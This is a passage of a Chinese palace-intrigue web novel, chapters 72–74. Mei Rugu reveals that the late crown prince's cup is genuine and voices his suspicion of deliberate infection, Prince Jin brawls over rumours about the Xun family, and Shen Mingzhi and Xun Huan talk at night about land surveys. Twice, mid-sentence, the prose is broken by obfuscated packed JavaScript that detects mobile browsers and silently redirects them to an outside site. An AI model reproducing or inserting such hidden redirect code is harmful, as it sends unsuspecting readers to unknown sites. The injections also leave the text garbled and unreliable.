“我曾听人说梅家多双生子,那长得真是一模一样,方才见了,果真如此。” 郇寰将斗篷系好,随口应了三个字:“有福气。” 闻言,冬至觉得自己说错了话,小心打量了郇寰的神色,是如旧的平淡,好似他是真心在赞梅家多子多福,不禁又心酸又自责。 郇寰笑:“走了,不能让殿下的暗卫等急了。” 说着,他率先推开了房门,出了驿站,就见边路上梅花刚吐出一点花苞,树下已经站了两位赏花的年轻人。 他年少时在菁明书院见过梅家的这两兄弟,那时候他们还小,但俊逸之态已然看得出苗头,不愧为梅如故的亲弟弟。而今立在两株梅树下的少年人身材颀长,与梅与雪是一般的动人的颜色,有三分梅如故年轻时的风流潇洒,有三分梅痴绝年轻时的庄重严肃,剩下的,就全是少年人的勃发英武和不知世事的至真至纯。 郇寰是个骄傲的人,此刻不由得生出了艳慕。 他年纪不大,远没到要伤时哀怀的地步,但他还是羡慕他们的年轻,年轻到前途一片茫然未知却仍能在长兄的庇佑之下肆意安然。他郇寰就是长子,就是郇氏一族中所有平辈的长兄。他也曾在父母的庇佑之下潇洒过青春,而那样的日子一去不复返。 梅依径注意到了郇寰的目光,捅了下兀自陶醉的哥哥梅寻春,于是兄弟俩一齐走上前来向郇寰拜礼。几个人一番礼尚往来之后,郇寰便在兄弟俩探究的目光中随暗卫匆匆而去。 “要告诉大哥郇尚书遇刺嘛?” 梅依径很嫌弃,“告诉大哥?这不就暴露了我们先行一步的事嘛?大哥绝对要抽死我们!” 梅寻春点点头:“你说得对,这件事不消我们说,大哥也应该会知道的。” “走了走了,我们也赶紧上路,新丰美酒不等人!” “唉,我们真要绕道去新丰?大哥这么着急让我们入京,不就是让我们把东西给他平安送到?这绕道新丰,徒生波折,岂不坏事?” “不过是一只杯子,又不是什么珍贵的宝物,有谁要偷?且东西放你那,从小打到你这么稳妥,怎么会丢?” “要是……” “别要是了!”梅依径威胁梅寻春:“咱们都先行走到这儿了,你还能折回去不成?你还想出卖弟弟不成?文人的迂腐面子要不得,走走走,别在要是要是了,去一趟新丰能出什么岔子,别杞人忧天了。” “杞人忧天也非坏事。” 梅如故是个会享受生活的人,凭栏煮茶,听雪赏花,即便来了危机四伏的化隆帝都,他也没有抛弃旧好;即便早过了弱冠年少,他依然有着曾经的风流做派。他给沈明枳上茶,笑盈盈地夸:“郇海山遇刺,他身边能有几个人,他敢光明正大带几个人?他能留下一条命,是公主用心,提前预料了路上凶险,有备无患,也是公主手下的这些暗卫厉害,那般天罗地网还能从阎王手中抢人。” “说人话。” 见沈明枳来势汹汹,像是讨债的,脾气大得一点也不如少时候可爱,梅如故搓着微凉的手笑道:“公主,就算对我,也不能这么没礼貌啊。” 沈明枳按捺住想掀桌子的冲动,捧过一碗热茶,咂摸了两口,平静道:“听说梅三梅四两位公子到新丰了。” 梅如故笑意不减,却一分也不入眼底,“哦?是吗?谁说的?” 沈明枳放下茶碗,皮笑肉不笑地回答他:“我说的。” 梅如故点点头,面上还是方才的笑容,心里却已经想把那两个兔崽子拎过来抽上九九八十一顿。 “我还听说——” 梅如故目光一凝,手指摩挲着杯缘,心里几分不安慢慢腾起。 “二位梅公子被人给偷得一分不剩。” 咯噔一声,梅如故的心如石子滚了下来。 72. 第七十二章 雪满头 “月珰!” 应声而入的月珰送来了一只普通的木匣。 她又退了出去,沈明枳将木匣推到梅如故面前,镇定道:“他们还弄丢了一件宝物,说是梅大人嘱托他们从梅州老家带来化隆的。” 梅如故不用打开就知道里面装的是什么东西。这个木匣子是他亲手做的,里面的东西也是他亲自放的。事到如今,他真的没什么好隐瞒的了,“公主想知道些什么?” “这是真的么?” 梅如故了然。 沈明枳没有问“这杯子为什么会在你那里”而是问这杯子是真是假,这就说明她从郇海山处看过了漉水瓷窑老匠人的手稿,说明她猜到了太子染病的真相。 “不用瞒我了。” 一室静默,唯炉火与室外雪声相杂。 沈明枳的心依旧惴惴,她害怕到了这一步梅如故依旧把她当作一个孩子看待,依旧要瞒着她、哄着她,让她在这场东宫旧臣的血战之中被迫作壁上观。 而梅如故的心何尝不是惴惴。 她知道了又怎样?她要亲自下场来搏上一搏?她自嫁给郇海山起就已深陷诸王纷争的泥潭,是一步错步步错,天知道她受了这样的刺激接下来会做出什么出格的事情?他不担心他的自己的计划被打乱,他早做好了完全准备,他只是担心沈明枳反受其害、累及自身。 但梅如故放弃挣扎,在他看见沈明枳那一双沉静似水的眼睛后。 故太子沈明载也有这样的一双眼。他们兄妹分明不是一母同胞,性情也大相径庭,眉眼却如此相似。恍恍惚惚地,仿佛今人还是故人,年华永驻,虽天地改换,虽时序更替,而他永恒。 梅如故将含在口中的清茶咂摸出几分苦味。 和朝中那些老头子比他还年轻,但他已经不年轻了。某日梳头,发现黑发之中已有星星之白,如同此时飞雪,落在乌木苍苍之间,分外扎眼。 可君埋泉下泥销骨。 梅如故的嘴角有了一分似有若无的笑。 “好,我告诉你,这是真品。” 梅如故轻轻推开不饰一物的盖子,微微发颤的指尖触及杯子上的花纹,冷暖冰火交融,随后,那杯子的温度沿着心脉逐渐而来,昔日今日,昔人今人,都在这蜻蜓点水般的一触之间,神思相接、形影相交、生死相替。 “这就是本该陪入地宫的真品,他的旧物。” 梅如故一笑,将匣子关上,“这是当年,他南巡路过昌南,我买了送他的。漉水是瓷都,匠人手艺好点子多,绝对不屑模仿这样粗劣的玩意。” 可那样粗劣却质朴的日子却镌刻着匠人至简至伟的思想,也见证了至真至纯的心紧紧相依。 梅如故长长吐出一口气,“所以,你在郇海山那里看到的那张手稿,是我伪造的。为什么呢?” 随后他的声音陡然冷下,如同被关在门外的大雪天:“因为的的确确有人模仿了,做了一只赝品。这一套杯子有四只,一只在我手上,可下葬的时候是一套四只完完整整地封了穴。他的陪葬单子现在还保留在宗人府,如果你不记得,可以去查查。” 他往后一靠,“他们都说,重重防护,东宫得了瘟疫,是命。确实有人染了病却没有症状,但我不信,这杯子也让我不能相信。要害一个人的法子数不胜数,比如说,将一只病患触过的杯子穿过重重宫禁,送到太子案前。如果一次不行,那就两次,总有一次会中招。所以我怀疑窦宙,怀疑韦不决,尤其是韦不决,他现在俨然已经是魏王的人了。” “你当我铁石心肠,只认太子不认情谊?我如何不想相信他,可费志皋这件事背后的腌臜,你也猜到了不少,魏王和燕王未必和睦,但他们都有共同的目标,如何不能联手。所以我伪造了那张手稿,本想借郇海山之手、赵王之手,将事情捅出去,没想到出了这么多意外。” 梅如故无可奈何:“就算没有这些意外,这种事,这么敏感,赵王也不会碰的,毕竟谁能保证,这些个皇子哪个没有生出过要取而代之的心思?哪个没有使过这样那样的手段?为了皇位,他是他们的敌人,哪怕不是为了皇位,他也是他们所有人的敌人。” 沈明枳两眼通红,不忍看梅如故心中的惨怆。 “这权力场上,谁能是干净的呢?从前是,今后也能是么?鹇儿,我记得小时候,有个宫女犯了事想要出宫,你善心大发,要帮她,你一个公主出手,引人注目,然后她死了。你想着她本不会死的,是你害死了她,是你愧对她,你伤心了很久,恨不得以身替之。” 梅如故的眼圈也红了,“我不杀伯仁,伯仁却因我而死。我不知道你还记不得这件事,不记得最好,因为还会有很多这样的事,只要与前朝事沾染上一点,每个人都会面目全非。” “别说了……你又在劝我。” “我必须劝你。” “劝我不如劝你自己。” 梅如故摇头:“公主,你没有权,也没有人,更没法直接插手朝事,敢冒天下之大不韪的事情,只能有一次,化隆不是南海道,它远比南海道要危险,不要在错误的地方做你不擅长、不敢擅长的事情,最好连这样的心思都不要有,这只会害了你。” “久思白鸥,种树五柳,文墨刀枪你都擅长,你是这样的人,你不是柳曦既生来就能够成为倾轧老手的——” “可我习惯了。” 沈明枳的眼泪蓄不住流了下来。 “我是家中长子,生就要担这个责,我又是他最信任的人,死也要给他报仇。” “像柳曦既那样不好吗?他也是长子,太子哥哥也很信他……” 梅如故笑得十分勉强,“若是这样,我撒手不管了,让你来给他报仇?”梅如故故作嘲讽:“你连承天殿都上不了。” “报仇有那么多路,何须一定要走这一条?” 此话一出,梅如故说不清是绝望还是高兴,看着沈明枳的眼神既伤惋又怜惜。 自古华山一条路。 她还是不懂。 梅如故低声笑了。 他不知道该说什么,好在外面有了急事,月珰急切地敲门而入,带来了一个坏消息:“晋王爷和宣平侯世子打起来了!” 沈明枳愣了一瞬,抬眼看见梅如故已经恢复肃穆,正装得困惑地看来,心里不定,抹去脸上挂着的泪痕转过脸问道:“怎么个打法?” 月珰一噎,舌头打结,最后只憋出一句话:“这回是动真的了。” 沈明枳登时站起,向梅如故草草拜别一礼,便接过月珰递来的大氅走出温暖的室内,留梅如故再度一个人。 上了马车沈明枳的第一句就是:“有人命么?” “没有没有。” 晋王自辟府别住之后,和化隆城的大小纨绔“厮混”,最是平易近人。年轻人血气方刚脾气又大,拳脚相向时的和事佬还得是晋王爷;偶尔也有那么两三次他和别人打起来,那也只不过是掌控之下的胡闹罢了,何曾真的惊动过沈明枳,晋王自己就能处理妥当,曾经红过眼的年轻人还能相逢一笑泯恩仇,分寸是从来丢不了的。 但这次—— 沈明枳和月珰看了一眼长街上停满了的宝马香车,其中一辆车上慌慌张张下来一个雍容美妇,甩开迎上来的婢女,直接冲入了极乐坊的正门,随后乌泱泱一众婆子丫头簇拥着两个妇人也匆忙追入。 沈明枳一眼就认出了来人。 楼氏。 沈明戒据居上首,拿着沾过温水的帕子随意地擦拭手背上的血迹,乜斜着在自家亲娘怀里哭嚷的公子哥们,禁不住一声讥讽的低笑从喉咙中窜出来。 宣平侯夫人文氏不敢直斥晋王,压着怒气训斥陪侍世子左右的小厮,见到楼家的女人也来了,心里的底气一时无量,说起话来也越发难听。 辛喾扫了一眼乱哄哄的包厢,啧了一声便用门外人都听得见的小声对坐在沈明戒身边的卿澄道:“真没见过儿郎打架还有婆娘掺和进来的,不知道的以为咱们调戏了世家的小姐呢。” 卿澄捂嘴哈哈大笑,连着面色不虞的沈明戒都露出了几分戏谑,扔了染血的帕子往太师椅上一靠,一副看戏大爷的模样,好似这些闹剧与他这个始作俑者无关。 晋王骂不得,但不代表英国公家的少爷和大理寺卿家的孙子动不得。 沈明枳立在门外听了片刻,觉得这些话实在是有趣,拐弯抹角却字字尖锐。但腌臜的对骂和哀嚎听了一耳朵,真正的来龙去脉一点也没抓住。 晚一步到的几位贵妇人看见兖国公主神色冷淡地站在房门口听墙脚,进也不是退也不是,心里如同火煎,脸上又香汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511611|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涔涔,面面相觑,倍感难熬。忽然,像是连公主也不耐烦了,她们就看见兖国公主对身边的大丫鬟吩咐了一句,便径直褰裙进了热气腾腾的包厢。 楼四夫人正面色铁青地叮咛完大夫好生照看家中子弟,正打算劝一劝唾沫横飞的妯娌,就撞见从门外走来的兖国公主,心下一凉,率先开口道:“妾身拜见兖国公主殿下。” 话落,一室皆静,唯有清脆的瓷器相击声响突兀地从上首传来。 “小人该死。”晋王府护卫长不周机敏地接过沈明戒没端稳的茶杯,低声自责。 沈明枳免了众人的虚礼,偏过头看向俶然起身直立的沈明戒,目光又扫过反应慢了半拍的辛喾和卿澄,长息一声,在沈明戒让出来的上首坐下,然后朝一旁软榻边的宣平侯夫人文氏细声问道:“令郎可有大碍?” 众人相觑无语,文氏顺了气,强颜欢笑、咬牙切齿地回复:“回公主,只是伤了腿,应无大碍。” 沈明枳点点头,站起微躬了身子道:“不论发生了什么事,本宫这里都要先为晋王的失礼向诸位道歉——” 她话还没有说完,一众女眷纷纷起身相劝,嘴上连说着“不敢不敢”“折煞折煞”,场面和谐,让辛喾和卿澄内心擂鼓,小心瞥了一眼站在一旁面色冷沉的沈明戒,脑中警钟大作。 在沈明枳重新坐下之后,一众女眷方才舒出一口气,回到原位准备迎接兖国公主的疾风骤雨。谁知,兖国公主一开口又是陈词老调:“毕竟都是年轻人么,不论是因为什么事,终究还是冲动了些,还望诸位……” 众人慌忙改了堵在喉咙口的“恶言恶语”,咽了“臭声臭气”,忙不迭地应和:“哪里哪里,公主的礼我们担不起啊,还望公主不要折煞我们。” “对啊,年轻人之间嘛,总会有些龃龉和误会……” “是啊,年轻人嘛,说开了就成了,又有什么深仇大恨的。” 沈明枳一笑:“那我们还是早早说开了的好,你说是么,罗侯夫人?” 语闭,四下无言,心里的算盘却噼啪乱响。 文氏冷笑道:“妾身也是刚刚来,对事情的原委不甚了解,也正想听听是什么个由头要断我儿的腿!还望公主见谅。” 沈明枳不恼文氏的态度,瞥了一眼边上默默攥拳的沈明戒,按捺着性子继续问道:“那可有谁能为罗侯夫人与本宫解惑的?”随后她看见边缘角落中缩着一个年轻人,于是笑问道:“那是张八郎吗?” 张八郎心里连连叫苦,走上前来朝沈明枳一拜。 张八郎是张四郎同母的亲弟弟,沈明枳曾听长荣说起过他,胆子有点小,有时候木楞楞认死理,性情却极其随和。 “你知道发生什么事了吗?” 张八郎纠结地看了一眼晋王和逃过一劫的辛、卿二人,在文氏如芒的目光之下支吾着开口:“是……是罗子朗说……说郇侯的妹妹与楼复……在双塔寺私会……” 沈明枳目光一凛,倒没有去看文氏,反而望向躲在对面畏缩的楼楼众人。在张八郎磕磕巴巴地委婉地叙述到坊间是如何传楼复曾经要尚主、现在又要娶公主小姑的时候,沈明枳磨了磨后槽牙。 张八郎不敢再说,觑了上首的眼色,默默闭嘴,小步地挪到了门边,在众人不注意的情况下逃之夭夭。 沈明枳偏过头,看见沈明戒低垂下来的脸遮掩在阴影里,她在这样的静默之中飞速地扫了在座的女眷一眼,心下有了计较,准备解释双塔寺的这次见面,就听一熟悉得耳朵起茧子的女声放肆地从门口传来:“呦,这么齐全,干什么呢?” 沈明枳挑眉。 临川环顾四周,看见了沈明枳的冷脸,忙笑着走过去,“我方才听了一耳朵,就这儿丁点大的事还要劳你亲自来一趟。” “私通断腿叫丁点大的小事?” 临川心里咒骂一声,但还是端着笑脸扭过身对文氏道:“哦,原来是宣平侯的夫人啊,年轻人常常爱打闹不小心伤了腿,这点事,和皇家颜面比起来——算大事吗?还有什么私通,这件事我知道,当嫂嫂的带着小姑小叔上山给柳太夫人祈福,期间遇见了楼家这金贵得不得了的公子,在长辈的面前说上几句话,怎么?这就叫私通私会了?那夫人大寿,遍邀名门闺秀,令郎与这些女宾同处一室之下,岂不就是通奸了?” 73. 第七十三章 很高兴 文氏气得脸骤青骤白,边上一妇人不忿道:“郡主您这说的什么话。” 临川笑容“可怖”,从辛喾处抢了一个位子坐下,“我说的自然是人话啊,是个人都听得懂,无端谤人清白、又损皇家名誉,真是其心可诛。” “这又是什么个说法,晋王殿下是亲自认了伤了罗世子的腿,可没人谤他啊。” “罗世子污人清白,也没人谤他啊。” 见着临川郡主的脸又盛出悚人的笑,楼四夫人推搡着楼二夫人上前告罪,“今日之事,多有谣传,但因我家二郎向来不羁,伤了郇三娘子玉洁冰清之名,实在抱歉。” 楼四夫人将楼家的两个参与打架的孩子从自己身后拉了出来,“楼珏、楼玫,你们维护兄长是好心,但不该冲动,有误会就说误会,晋王王爷还有罗世子都是知礼守矩之人,你们仔细说,他们便会体谅理解的。”她将两个少年往前一推,“亡羊补牢,为时未晚,现在向诸位道个歉,他日相见依然和气。” 楼钰、楼玫规规矩矩向站着的沈明戒和半躺着的罗子朗分别致歉。 楼四夫人见沈明枳并未露出不悦,便看向了脸色依然阴郁的文氏,“罗侯夫人,您看——过几日,等世子的腿好些,我再带孩子登门致歉——” “不必了!” 临川冷笑看向文氏,“罗侯夫人真是宽宏大量。既然如此,有错的认了错,日后好相见。” 文氏气得厉害。 场面还剑拔弩张着,忽然听有人小声嘀咕:“这受了伤就是理直气壮啊,谁弱谁有理?” 辛喾狠狠踩了呆呆的卿澄一脚。 沈明枳顺势起身:“罗世子终究受了伤,是晋王打的,本宫还是要向罗侯夫人道个歉。” 除了文氏,所有人都站了起来。 “理亏还不依不饶,本宫真是开眼了。”临川知道沈明枳要走,便噔噔噔走到了门边,“这屋里的空气真是腌臜,本宫真是忍不了了。楼夫人,你们不走吗?” 楼家人连忙出逃。 沈明枳也出了包厢,却见临川又折了回去,跑回来时脸上已经喜气洋洋,还拉了自己的手要一道上车。 “你去干嘛?” “嘿嘿,我说我有东西忘了,顺便由衷希望罗世子的腿早些康复。” 辛喾探头:“他最好从此残废。” “你懂什么?”临川白了辛喾一眼,“这罗子朗的爹走得早,家里还有个堂弟罗子珪颇得宣平侯的喜欢,他虽然当上了世子,可如果四肢健全却声名狼藉,还能承袭爵位吗?最好啊,他们家里闹得乱哄哄的,这才有好戏看。” 沈明枳将手从临川手中抽回,“谨言慎行。今日虽然是你一厢情愿,但我还是要谢谢你了。” 临川皱着眉回头看她:“我这些话有什么不妥帖的?这不是人尽皆知的事嘛,实话实说而已。你今天也是,一味退让!” 出了正门,马车已经停在眼前。 “越是掰扯,他们越会咬住不放,他们本来也不是要讨公道的——” “他们本没有公道可言!” 沈明枳低声附耳:“但他们的目的已经达到了,闹就是在帮他们。” 临川一愣,等沈明枳由沈明戒扶着登上马车,这才意识到了蹊跷。 “那天辛莘带她小姑子出游,我也在……我知道了,是因为郇——” 沈明枳回头打断:“今天你怎么恰好在?” 临川一边揪住了还没来得及随卿澄溜走的辛喾,一边神秘兮兮地朝沈明枳假笑:“秘密。”这边笑完,她又皮笑肉不笑地盯上辛喾:“我送你吧如何?顺道去看看你姐姐,嗯?顺便说说你在极乐坊混的这几天?” 刻意忽视辛喾的求助,沈明戒随沈明枳一起上了车。姐弟两个面对面甫一坐定,在狭小的车厢里他刚有些不自在,就见沈明枳拉开车门,探身吩咐月珰借着结账的由头去极乐坊的掌柜处查一查临川郡主的账。 沈明枳刚坐回来,看他心事重重,不禁叹气,将他蜷在膝盖上的手拉了过来,“受伤了吗?” 沈明戒悄悄看向自己被沈明枳护在手心的手,只觉得一股暖流自肌肤相触的地方缓缓地涌了过来,最后将他整个人都包裹其中,本来七上八下的一颗心终于平缓,“没有,他们只有挨打的份。” 一堆话堵在喉咙口不知从何说起,在两相沉默后,沈明枳轻轻拍了拍他的手背,“阿姐很高兴。” 沈明戒抿唇,拳头稍稍松了些,但还是不敢抬眼直视沈明枳。他棱角分明的五官在少年人鲜见的温驯的衬托下弱去了几分锐利,又在自马车外泄入的景光中添上了一点温和,如长刀入鞘,箭头磨圆,失了勇武,有了容度。 南巡一趟让他变得过分成熟,走一路学一路,举一反三,有时候的修为比“一问三不知”的秦王老九更胜一筹。而此次,为了自己而贸贸然出手中了别人的圈套,沈明枳实在是品不出自己是喜是忧。 他还没有真的长大。永远也长不大是福,完全长大也是福,困在其中,进退不得,反而是祸。 沈明枳又是不自主地叹息。 她还记得在紫微宫,她的戒子对她说:“阿姐,让我来保护你。” 哪怕只是自己的名声,他也用拳头护了,以后那些人或许真的不敢再议论她的私事。 当时她对她的戒子说:“现在还不是时候。” 沈明枳哭笑不得。她好像体会到梅如故那种又爱又恨又忧又惧的长辈心情。 沈明戒小心仔细地注意着阿姐的神色变化,分明他什么端倪也没有看出来,他硬是觉得阿姐的欢喜在造假。 他垂首道:“阿姐,我现在要回宫。” 沈明枳微愣,凑到他面前偏头去看他眼底藏着的失落自责,心下一紧,未及仔细思量便顺口问道:“回宫作甚?” “孝期内入酒楼伤人,我要在他们告状前向父皇请罪。还有,姐夫就快回来了,那些人一定在想办法捣乱,今天这事,我冒失了,只怕会给你们惹麻烦……” “戒子很棒。”沈明枳笑得灿烂,心里却觉得冒失的是自己,她的戒子分明就能处理好所有事情,而她平白还来捣乱。 沉默了片刻,沈明枳又轻轻拍拍他的手背以示安慰:“好,阿姐送你到宫门。” “不了,我骑马就行,路太远了,阿姐回府天都要黑了。” “我去襄阳侯府,很顺路。” “侯府出事了吗?” “小事而已。” 沈明戒心有忧虑但面上不显,将近来城中有意思的鸡零狗碎都一箩筐倒了出来。 “嗯?”沈明枳附和着,心中想着梅如故,略微有些走神,突然听见了一个阔别已久的名字,立刻打起精神。 沈明戒终于讲得有些兴奋,只当她的反应是敏感罢了。毕竟是人人口中的金童玉女,曾经的天赐良缘,就算阿姐已经嫁了人,对宁七郎也没有男女之间的心思,好歹是十几载的玩伴同窗,多几分在意也是正常。 “他现在已经是礼部的宁主事了,他学问好,闲暇还会受邀去菁明书院讲学。” “科举后他不一直在菁明书院当他的翰林修撰吗?” “他们说宁七公子想当官了。” “这不像他。” 前朝风头无量的翰林院在大楚被菁明书院吞并,与翰林院相依相存的内阁也在升平一朝式微,翰林棋定天下的日子一去不复返。入了菁明书院,只有一辈子当儒生当到死,决计无法触及权力中枢,大多是高官隐退后的养老之处,有名望而无实惠。说宁晨铎不当学士当主事是想当官,这是很有道理的。至于他当官的目的,沈明枳想不到,毕竟以他那种与世无争的性子,有什么能诱惑他甘愿放弃田园隐逸而持剑走入战场。 “人总是会变的嘛。他们还说,估计是宁国公夫妇逼的。” 沈明枳语气沉重:“现在局势对魏王十分不利,他们会想把宁国公府当作宝刀挥舞出来是情理之中。宁七的兄弟不是外放就是待召,他被推出来,看来他们真要走投无路了。但礼部……实在当不成磨刀石。” 沈明戒听后一笑:“阿姐想多了,他是被逼婚逼的。” “成婚与当官有什么冲突?” “也是猜的嘛,可能是国公夫妇想让他娶妻有个立身的基础,先成家后立业嘛。” 沈明枳不禁想到了宁玉尘。 “不过他本人应该没有这个意思,最近听人说的,无非是他想当官,或者他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543627|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴技又精进了,这么多年,一点这方面的消息也——”马车正路过襄阳侯府的后门,正见孙先生抱着药箱匆匆忙忙地要上马车,沈明戒问:“是孙先生?” 沈明枳撩起帘子向外探去,与孙先生颔首示礼。 “柳太夫人的病情很不乐观吗?我听说余药师开春就要来京。” 余回春是个云游四海、不问世务的奇人,只可惜他姓余,和吴王的母妃是血缘亲近的同宗。 知道阿姐的顾虑,沈明戒解释:“我听鲁纯学提的,说来这余药师还是他的救命恩人,从不因党派利益而罔顾生命。哦,鲁纯学是羽林卫指挥使鲁向笛的独子,我们在菁明书院里认识的,他身体不好,听说这些病都是从娘胎里带过来的,他母亲又很早就病逝了。当时他爹还未身居要职,倾尽家底寻遍名医为他治病,寻常大夫都说保不住,只有余药师妙手回春救了他的性命,从此以后他不能从伍只能从文,不过他确有这个天赋。” “我知道他。”沈明枳笑:“我还见过余回春本人,不过这都是我小时候的事了。” 但她记得格外清楚。 那时候东宫尚在,服侍太子妃梅问香的一个婢女突发恶疾,最后就是延请这位大名鼎鼎的余药师才将人从阎罗殿里抢了回来。或许是因为当时事发紧急,诸王势弱,东宫不需担心有人要置自己于死地,这才没有回避身份如此特殊的余回春。 然时移事宜,现在不一样了,郇寰在刑部尚书的位子上稳如金汤,而魏王、燕王狗急跳墙,他们冒不起这个风险。 ** 郇寰回来的时候又是半夜。 他像往常一样尽量不惊动人地从后门摸了进去,指派过在襄阳侯府等着接应的郇杭去赵王府报信,然后在隔间简单地擦过身子、换过衣裳换过药,这才轻手轻脚走到厢房。 屋内的灯早就熄了。 郇寰在冷风中出神一瞬,这才轻轻推门走了进去。 屋内暖如阳春,安详不似尘世。 以为沈明枳已经熟睡,郇寰搓了搓冰凉的手指,小心挑开帷帐,解了外衣在床边躺下,占了被褥一角,慢慢等自己的手暖和起来。一会儿,在他合眼准备沉沉睡去前,侧卧着的沈明枳说了话:“回来了。” 听她的声音还有些熟睡时的糊涂,郇寰便以为是自己带来的寒气冻醒了她,且他觉得自己现在身子也还未暖起来,便又挪开了些距离,“嗯,冻醒你了?” 谁知沈明枳竟然一反常态转过身面向他,从被子里伸出一双氤氲着热气的手勾住他的肩背,将自己和沾染着暖意的被褥一同送到他的怀里,两人之间的距离也在转眼间湮灭消失。 郇寰的倦意被这突如其来的举动一扫而空,他还是愣了一瞬,才将沈明枳滑落肩头的被子再度提到脖颈,用手按住缝隙后,这才犹疑地也抱上了她。 彼此的心跳都清晰可闻,沈明枳的呼吸更细腻地喷在他颈前皮肤。 她突然又没了声音,好像再度睡去,这让郇寰的心再受折磨。他在希望沈明枳彻底醒来,好结束他这样的挣扎,又在期待她就此睡去,不必让他再隔着天堑与之相对而眠。被人从冰湖捞起后,“兖国公主府”这五个字给出的安稳落在了实处,他本该陷入美梦,而此刻最后一丝睡意也被沈明枳的呼吸吹散。 “你受伤了。” 沈明枳的声音开始清朗,随后,她下意识地将自己往远离郇寰怀抱的方向收了收。 郇寰说不出她远离的这一瞬,心里是庆幸多一点,还是失望多一些。她曾那般严肃地与自己划清界限,却在迷迷糊糊里身心相贴,无意之间,自己便成了一张风筝,牵在她的手里紧紧松松。 但其实沈明枳一直都是清醒的。 她早就算到郇寰没日没夜地赶路,今夜便能抵达皇都。她也不知道自己等到现在,这般故意地拿捏他是算计多一点,还是心境使然。毕竟某些时候,知道郇寰可能会死、可能已经死了,她多少都有些可惜。 郇寰:“小伤,没什么事。” “明早还要去上朝么?” 他深吸一口气,就在这一口气的功夫里改了主意,“不去了,午间再回宫里交差吧。” “那睡吧。” “好。” 74. 第七十四章 血难凉 但是他们都没有睡着。 沈明枳从郇寰的热源变为从郇寰处汲取温暖后,当她下意识地要翻身打破这样让人尴尬的僵局,在昏暗的帷帐中,她莫名其妙感觉郇寰应该睁开了眼睛。随后,就像要印证她的感觉无比正确,郇寰先她一步沙哑着嗓音开口问:“睡不着?” 沈明枳:“三娘和楼复之事被人捅出来了。” 郇寰平复了片刻,似是正在给自己头一回破天荒要压过理智的兴致浇了一盆冷水。从公主府的暗卫护送他经过新丰时,他就知道了。 头埋得低说不清话,沈明枳又拉开了距离,却觉得,原来这样的分寸也会让她感到不适。但她是惯爱伪装的,刻意忽略了两人之间氛围的微变,继续平静道:“楼家要和张家结亲。” 郇寰冷笑:“王府与张家早有龃龉,现在又用郇毓、楼复毁了楼、张两家的姻亲,王府与张家就彻彻底底成了冤家,还坑害了一把晋王,好计谋。” “孙先生说,太夫人没多久了,现在又出了这样的事情,我们允那后生的事情应当是成不了了。” “我们”二字久萦耳畔,郇寰沉默许久方才叹息:“我再想想别的法子,明日入宫我去问问他。” 过了会儿,他轻声问:“睡了吗?” 沈明枳应一声:“没。” “今年化隆的雪不怎么大。” “嗯,南边的雪反而很大吧?” “对,江南、江西乃至湖广、南海道,都似埋在了雪里,当真是天有异变。” “天发杀机,移星易宿;地发杀机,龙蛇起陆;人发杀机,天地反覆。说到底,有异变的不是天,是人。” 郇寰安静下去。过了很久,久到沈明枳逐渐起了睡意,他才似是迷茫、似是探究、似是无望地轻声问:“这田,真的该丈吗?” 他未必在问沈明枳,未必在问任何人,这句话仿佛是累极倦极、难觅去路时的一句喟叹、一句牢骚、一句胡言乱语,它没有答案,郇寰也不一定想找一个答案。可漆黑的夜里沈明枳睁开眼睛,一眼就看见了答案。多少年前,年轻的梅如故就给出过答案,那时候沈明枳觉得,这本将是上平文景、下抵贞观的一个盛世,可白驹过隙,这幻梦幻灭在了皇权之争、盛大盛灭在了人心战乱。 当真,在郇寰还没问出这个问题前,她还没有这么真切地感受到,“鸣琴垂拱,不言而化”当真只是绢帛里枯俗字眼,而“习于苟且,不恤国事”早已经成为寻常中惨痛现实。 沈明枳平静道:“军务肃清后,清丈田亩就是第一要务,这是必然。” 郇寰长吐一口气,“说到底,永远只能是扬汤止沸。” “扬汤止沸也足够了。” 郇寰看向她,“为什么。” “因为不能重来。” “因为这棵树的根,已经开始腐烂了么?” “它不是一棵普通的树,它从入土的那一刻就开始烂了。” 郇寰轻笑:“未免悲观。” 沈明枳扭头看向他,“这是事实,一点也不悲观。” “黄河东流,青丝成雪,人事之丧,尚且彻骨,何谈一个王朝。秦皇汉武、唐宗宋祖,到了最后,谁能摆脱永恒的诱惑?可三千出海、竟无一人能归,秦二世而亡、汉孝献生乱,开国都曰天降帝子,亡国皆云时运变换。本不欲想,有朝一日,大楚也会是这样的结局,几十年后我们躺的这张床变成了柴火,柴火变成灰烬,灰烬凝成泥土,几百年后,高楼又起,高楼又塌——怎么笑了?” 沈明枳仰头看天,“想太多了,我们都会死,与这些事比起来,我们活得太短,短到来不及看他们发生。” 郇寰看着她。 “这些年,这些人做了这么多事,并非他们以为大楚是天赐的意外、能够千世百代生生不息,他们也知道,人会死,国家也会死,人会生病,国家也会生病,人要治,国家也要治,人凭大夫,国靠朝廷,无一例外都是想活再久些,人活得久,国活得久,国活得久,更多人活得久。” 沈明枳长舒心气,“你不也是这样的人么?有人擅参军事,有人擅掌鞫狱,有人天生就是看米仓的老鼠,有人就该究数法之变、正天下田道。各司其职,恪守其位,不过是尽己所能,一为朝廷效命、二为国家存亡,三……愿得风调雨顺、四海升平。” “忝列其中。” 又过了会儿,郇寰问:“殿下真是这么想的吗?” “别人告诉我的。”沈明枳深吸一口气,闭上眼睛。 